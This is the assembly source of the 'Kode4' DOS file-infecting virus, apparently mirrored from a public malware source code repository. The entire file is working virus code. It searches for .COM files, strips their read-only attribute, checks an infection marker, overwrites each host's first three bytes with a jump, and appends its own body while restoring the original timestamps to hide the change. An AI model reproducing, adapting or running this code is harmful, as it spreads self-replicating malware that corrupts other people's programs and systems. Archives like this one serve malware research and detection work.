mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 18:02:48 +00:00
186 lines
6.6 KiB
NASM
186 lines
6.6 KiB
NASM
seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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V_Length equ vend-vstart
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KODE4 proc far
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start label near
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db 0E9h,00h,00h
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vstart equ $
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mov si,100h ;get si to point to 100
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mov di,102h ;get di to point to 102
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lback: inc di ;increment di
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mov ax,word ptr [si] ;si is ponting to ax
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cmp word ptr [di],ax ;compare ax with di loc
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jne lback ;INE go back and inc di
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mov ax,word ptr [si+1]
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cmp ax,word ptr [di+1]
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je lout
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jmp lback
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lout: add di,3h ;jmp stored in the end
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sub di,(v_length+100h) ;+3 to get to end and -
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mov si,di ;
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;**********************************************************************
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;*
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;* The above code can be re-written as follows...
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;* The above idea, although it works is very long in code....
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;* when DOS does a load and execute it pushes all registers the last
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;* register to be pushed contains the file length. so just subtract
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;* the current location
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;**********************************************************************
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;
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;
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;
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;Host_Off: pop bp
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; sub bp,offset host_off
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; mov si,bp
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;
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;*** Before opening any file copy the original three bytes back to 100h
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;*** Because they will get overwritten when you check any new files
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lea di,temp_buff
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add di,si
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mov ax,word ptr [di]
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mov cl,byte ptr [di+2]
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mov di,100h
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mov word ptr [di],ax
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mov byte ptr [di+2],cl
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mov ah,4Eh ;Find first Com file
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mov dx,offset filename ; offset of "*.com"
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add dx,si
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int 21h
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jnc back
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jmp done
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Back:
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mov ah,43h ;get rid of read only
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mov al,0
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mov dx,9eh
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int 21h
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mov ah,43h
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mov al,01
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and cx,11111110b
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int 21h
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mov ax,3D02h ;Open file for read/writing
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mov dx,9Eh ;get file name from file DTA
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int 21h
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jnc next
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jmp done
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next: mov bx,ax ;save handle in bx
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mov ah,57h ;get time date
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mov al,0
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int 21h
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push cx ;put in stack for later
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push dx
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mov ax,4200h ; Move ptr to start of file
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xor cx,cx
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xor dx,dx
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int 21h
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mov ah,3fh ;load first 3 bytes
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mov cx,3
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mov dx,offset temp_buff
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add dx,si
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int 21h
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xor cx,cx ;move file pointer to end of file
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xor dx,dx
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mov ax,4202h
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int 21h
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sub ax,3 ; Fix for real location
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push ax
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; nop ;
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; nop ; used for debugging
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; nop ;
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; nop ;
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; nop
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mov di,offset temp_buff
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add di,si
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mov word ptr [j_code2+si],ax; Save two bytes in a
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; word [jumpin]
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cmp byte ptr [di],0e9h ;look for a jmp at begining
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jne infect
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mov cx,word ptr [di+1] ;check for XXX bytes at end
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pop ax
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sub ax,v_length
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cmp ax, cx ; jump (id string to check)
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jne infect
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jmp finish
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infect:
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xor cx,cx ;move file pointer to begining
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xor dx,dx ;to write jump
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mov ax,4200h
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int 21h
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mov ah,40h ;write jump in first 3 bytes
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mov cx,3
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mov dx, offset j_code1
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add dx,si
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int 21h
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xor cx,cx ;move file pointer to end of file
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xor dx,dx
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mov ax, 4202h
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int 21h
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mov dx,offset vstart
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add dx,si ;Start writing at top of virus
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mov cx,(vend-vstart) ; Set for length of virus
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mov ah,40h ;Write Data into the file
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int 21h
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Finish: pop dx ;Restore old dates and times
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pop cx
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mov ah,57h
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mov al,01h
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int 21h
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mov ah,3Eh ;Close the file
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int 21h
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mov ah,4Fh ;Find Next file
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int 21h
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jc done
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jmp back
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done:
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mov bp,100h
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jmp bp
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filename db "*.com",0
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DATA db " -=+ Kode4 +=-, The one and ONLY!$"
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j_code1 db 0e9h
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j_code2 db 00h,00h
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temp_buff db 0cdh,020h,090h ; CD 20 NOP
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kode4 endp
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vend equ $
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seg_a ends
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end start
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